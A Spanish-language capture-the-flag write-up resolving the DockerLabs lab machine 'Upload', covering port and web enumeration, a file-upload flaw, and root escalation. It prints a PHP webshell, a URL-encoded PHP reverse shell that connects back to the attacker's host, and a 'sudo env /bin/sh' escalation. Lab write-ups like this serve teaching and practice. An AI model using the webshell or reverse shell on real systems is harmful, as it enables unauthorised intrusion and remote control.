Upload
Introducción
Sección titulada «Introducción»En este artículo describo la resolución de la máquina virtual Upload, diseñada por El Pingüino de Mario y catalogada con dificultad fácil. A continuación detallo cada fase del proceso: reconocimiento, explotación y escalada de privilegios.
Información de la Máquina Virtual
Sección titulada «Información de la Máquina Virtual»- Nombre: Upload
- Autor: El Pingüino de Mario
- Dificultad: Fácil
- Fecha de creación: 09/04/2024
Paso 0: Instalación y Despliegue
Sección titulada «Paso 0: Instalación y Despliegue»-
Descargamos la imagen de la máquina desde DockerLabs.
-
Descomprimimos el paquete:
Ventana de terminal unzip Upload.zip -
Ejecutamos el script de despliegue:
Ventana de terminal sudo bash auto_deplo.sh Upload.tar
Paso 1: Reconocimiento
Sección titulada «Paso 1: Reconocimiento»Identificación de la IP
Sección titulada «Identificación de la IP»Al arrancar la máquina, esta muestra directamente su dirección IP, así que no es necesario realizar un escaneo ARP.

Preparamos nuestro entorno de trabajo:
mkdir Uploadcd Uploadmkt # Crea las carpetas: content, exploits, nmap, scriptsEscaneo de Puertos
Sección titulada «Escaneo de Puertos»Ejecutamos un escaneo completo con Nmap:
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPortsExtraemos la lista de puertos abiertos:
extractPorts allPorts
Enumeración Web
Sección titulada «Enumeración Web»Buscamos directorios y archivos accesibles en el servicio HTTP:
gobuster dir -u http://172.17.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js -t 200
Detectamos únicamente:
-
index.html: contiene un formulario para subir archivos.
-
/Uploads: directorio donde se listan los ficheros subidos.
Paso 2: Explotación
Sección titulada «Paso 2: Explotación»Subida de Webshell
Sección titulada «Subida de Webshell»Aprovechamos el formulario de subida para cargar un archivo PHP malicioso que actúe como webshell. Por ejemplo, shell.php:
<?php if (isset($_GET['cmd'])) { system($_GET['cmd']); }?>-
Guardamos este código en
shell.php. -
Lo subimos a través de la interfaz:

-
Verificamos su ejecución accediendo a su URL:
http://172.17.0.2/Uploads/shell.php?cmd=id
Reverse Shell
Sección titulada «Reverse Shell»Para obtener una shell interactiva, prepararemos una reverse shell:
-
En la máquina atacante, escuchamos en el puerto 443:
Ventana de terminal nc -lvnp 443 -
Invocamos la reverse shell codificando el payload en la URL:
http://172.17.0.2/Uploads/shell.php?cmd=php%20-r%20'%24sock%3Dfsockopen%28"172.17.0.1"%2C443%29%3Bexec%28"bash%20%3C%263%20%3E%263%202%3E%263"%29%3B'
Obtenemos así acceso como www-data.
Paso 3: Escalada de Privilegios
Sección titulada «Paso 3: Escalada de Privilegios»Revisión de privilegios Sudo
Sección titulada «Revisión de privilegios Sudo»Comprobamos qué binarios podemos ejecutar con sudo:
sudo -l
Se nos permite ejecutar env como superusuario sin contraseña.
Escalada con env
Sección titulada «Escalada con env»Ejecutamos una nueva shell con privilegios elevados:
sudo env /bin/shObtenemos acceso como root:

Conclusión
Sección titulada «Conclusión»La máquina Upload proporciona un ejercicio sencillo pero completo: aprovechamiento de un formulario de subida, ejecución de una webshell, reverse shell y escalada de privilegios mediante un binario permitido por sudo. Es un buen punto de partida para reforzar conceptos básicos de explotación web y post‑explotación.